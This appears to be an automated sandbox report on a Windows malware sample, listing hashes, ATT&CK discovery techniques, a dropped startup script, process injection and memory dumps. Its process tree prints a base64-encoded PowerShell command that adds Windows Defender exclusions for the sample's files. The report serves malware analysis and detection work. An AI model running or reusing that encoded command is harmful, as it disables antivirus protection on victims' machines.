a40626fbe1122175c403f8510e1f6ad41cee213a87ce8252305e32e5071a170a

Analysis

max time kernel
125s
max time network
124s
platform
windows7_x64
resource
win7-20241023-en
resource tags

arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system
submitted
22/03/2025, 06:15

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General

Target

be1643898cf51a24e38e4044d24ae1f5.exe
Size

1.8MB
MD5

be1643898cf51a24e38e4044d24ae1f5
SHA1

5b53f0997c5be65bd91489a11ee51517c0b1925b
SHA256

6c2eeaf52182de0791d8e04149fef6ba87cbeed544ec5337199506888b747d94
SHA512

c0451369d080d8a0ddfdea774f4c0a0c261ca9bebb5511355211a6557ff6d04e79fde17bffaec8ad1bdbfcf33aca9ca5e6604caa0be8ff6e97d2a4421550a44b
SSDEEP

49152:ifccx7xHddXQ5xobHeDyrso2FuE4QAE6v7O1dg:AdpQ5SzetjIQF

Score

7^/10

discovery

Malware Config

Signatures

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WinSCPHBootUtil.vbs	be1643898cf51a24e38e4044d24ae1f5.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4876	2128	WerFault.exe	29

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	be1643898cf51a24e38e4044d24ae1f5.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4736	powershell.exe
2128	be1643898cf51a24e38e4044d24ae1f5.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2128	be1643898cf51a24e38e4044d24ae1f5.exe
Token: SeDebugPrivilege	4736	powershell.exe
Token: SeDebugPrivilege	2128	be1643898cf51a24e38e4044d24ae1f5.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2128 wrote to memory of 4736	2128	be1643898cf51a24e38e4044d24ae1f5.exe	31
PID 2128 wrote to memory of 4736	2128	be1643898cf51a24e38e4044d24ae1f5.exe	31
PID 2128 wrote to memory of 4736	2128	be1643898cf51a24e38e4044d24ae1f5.exe	31
PID 2128 wrote to memory of 4736	2128	be1643898cf51a24e38e4044d24ae1f5.exe	31
PID 2128 wrote to memory of 4876	2128	be1643898cf51a24e38e4044d24ae1f5.exe	33
PID 2128 wrote to memory of 4876	2128	be1643898cf51a24e38e4044d24ae1f5.exe	33
PID 2128 wrote to memory of 4876	2128	be1643898cf51a24e38e4044d24ae1f5.exe	33
PID 2128 wrote to memory of 4876	2128	be1643898cf51a24e38e4044d24ae1f5.exe	33

C:\Users\Admin\AppData\Local\Temp\be1643898cf51a24e38e4044d24ae1f5.exe
"C:\Users\Admin\AppData\Local\Temp\be1643898cf51a24e38e4044d24ae1f5.exe"
1⤵
- Drops startup file
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2128
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAYgBlADEANgA0ADMAOAA5ADgAYwBmADUAMQBhADIANABlADMAOABlADQAMAA0ADQAZAAyADQAYQBlADEAZgA1AC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGIAZQAxADYANAAzADgAOQA4AGMAZgA1ADEAYQAyADQAZQAzADgAZQA0ADAANAA0AGQAMgA0AGEAZQAxAGYANQAuAGUAeABlADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAVwBpAG4AUwBDAFAASABCAG8AbwB0AFUAdABpAGwALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAVwBpAG4AUwBDAFAASABCAG8AbwB0AFUAdABpAGwALgBlAHgAZQA=
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4736
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2128 -s 700
  2⤵
  - Program crash
  PID:4876

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2128-11-0x0000000001210000-0x0000000001316000-memory.dmp

Filesize
1.0MB

Download
memory/2128-33-0x0000000001210000-0x0000000001316000-memory.dmp

Filesize
1.0MB

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memory/2128-2-0x0000000001210000-0x000000000131C000-memory.dmp

Filesize
1.0MB

Download
memory/2128-3-0x0000000074AC0000-0x00000000751AE000-memory.dmp

Filesize
6.9MB

Download
memory/2128-4-0x0000000001210000-0x0000000001316000-memory.dmp

Filesize
1.0MB

Download
memory/2128-15-0x0000000001210000-0x0000000001316000-memory.dmp

Filesize
1.0MB

Download
memory/2128-37-0x0000000001210000-0x0000000001316000-memory.dmp

Filesize
1.0MB

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memory/2128-45-0x0000000001210000-0x0000000001316000-memory.dmp

Filesize
1.0MB

Download
memory/2128-43-0x0000000001210000-0x0000000001316000-memory.dmp

Filesize
1.0MB

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memory/2128-41-0x0000000001210000-0x0000000001316000-memory.dmp

Filesize
1.0MB

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memory/2128-39-0x0000000001210000-0x0000000001316000-memory.dmp

Filesize
1.0MB

Download
memory/2128-35-0x0000000001210000-0x0000000001316000-memory.dmp

Filesize
1.0MB

Download
memory/2128-9-0x0000000001210000-0x0000000001316000-memory.dmp

Filesize
1.0MB

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memory/2128-31-0x0000000001210000-0x0000000001316000-memory.dmp

Filesize
1.0MB

Download
memory/2128-29-0x0000000001210000-0x0000000001316000-memory.dmp

Filesize
1.0MB

Download
memory/2128-27-0x0000000001210000-0x0000000001316000-memory.dmp

Filesize
1.0MB

Download
memory/2128-25-0x0000000001210000-0x0000000001316000-memory.dmp

Filesize
1.0MB

Download
memory/2128-23-0x0000000001210000-0x0000000001316000-memory.dmp

Filesize
1.0MB

Download
memory/2128-21-0x0000000001210000-0x0000000001316000-memory.dmp

Filesize
1.0MB

Download
memory/2128-19-0x0000000001210000-0x0000000001316000-memory.dmp

Filesize
1.0MB

Download
memory/2128-17-0x0000000001210000-0x0000000001316000-memory.dmp

Filesize
1.0MB

Download
memory/2128-13-0x0000000001210000-0x0000000001316000-memory.dmp

Filesize
1.0MB

Download
memory/2128-1-0x0000000001350000-0x000000000151C000-memory.dmp

Filesize
1.8MB

Download
memory/2128-0-0x0000000074ACE000-0x0000000074ACF000-memory.dmp

Filesize
4KB

Download
memory/2128-57-0x0000000001210000-0x0000000001316000-memory.dmp

Filesize
1.0MB

Download
memory/2128-5-0x0000000001210000-0x0000000001316000-memory.dmp

Filesize
1.0MB

Download
memory/2128-65-0x0000000001210000-0x0000000001316000-memory.dmp

Filesize
1.0MB

Download
memory/2128-67-0x0000000001210000-0x0000000001316000-memory.dmp

Filesize
1.0MB

Download
memory/2128-63-0x0000000001210000-0x0000000001316000-memory.dmp

Filesize
1.0MB

Download
memory/2128-61-0x0000000001210000-0x0000000001316000-memory.dmp

Filesize
1.0MB

Download
memory/2128-59-0x0000000001210000-0x0000000001316000-memory.dmp

Filesize
1.0MB

Download
memory/2128-7-0x0000000001210000-0x0000000001316000-memory.dmp

Filesize
1.0MB

Download
memory/2128-55-0x0000000001210000-0x0000000001316000-memory.dmp

Filesize
1.0MB

Download
memory/2128-53-0x0000000001210000-0x0000000001316000-memory.dmp

Filesize
1.0MB

Download
memory/2128-51-0x0000000001210000-0x0000000001316000-memory.dmp

Filesize
1.0MB

Download
memory/2128-49-0x0000000001210000-0x0000000001316000-memory.dmp

Filesize
1.0MB

Download
memory/2128-47-0x0000000001210000-0x0000000001316000-memory.dmp

Filesize
1.0MB

Download
memory/2128-1326-0x0000000074AC0000-0x00000000751AE000-memory.dmp

Filesize
6.9MB

Download
memory/2128-1327-0x0000000004920000-0x0000000004986000-memory.dmp

Filesize
408KB

Download
memory/2128-1328-0x0000000004990000-0x00000000049F2000-memory.dmp

Filesize
392KB

Download
memory/2128-1329-0x0000000004A00000-0x0000000004A4C000-memory.dmp

Filesize
304KB

Download
memory/2128-1330-0x0000000074ACE000-0x0000000074ACF000-memory.dmp

Filesize
4KB

Download
memory/2128-1331-0x0000000074AC0000-0x00000000751AE000-memory.dmp

Filesize
6.9MB

Download
memory/2128-1332-0x0000000074AC0000-0x00000000751AE000-memory.dmp

Filesize
6.9MB

Download
memory/2128-1339-0x0000000074AC0000-0x00000000751AE000-memory.dmp

Filesize
6.9MB

Download
memory/2128-1336-0x00000000051D0000-0x0000000005224000-memory.dmp

Filesize
336KB

Download
memory/4736-1335-0x0000000002580000-0x00000000025C0000-memory.dmp

Filesize
256KB

Download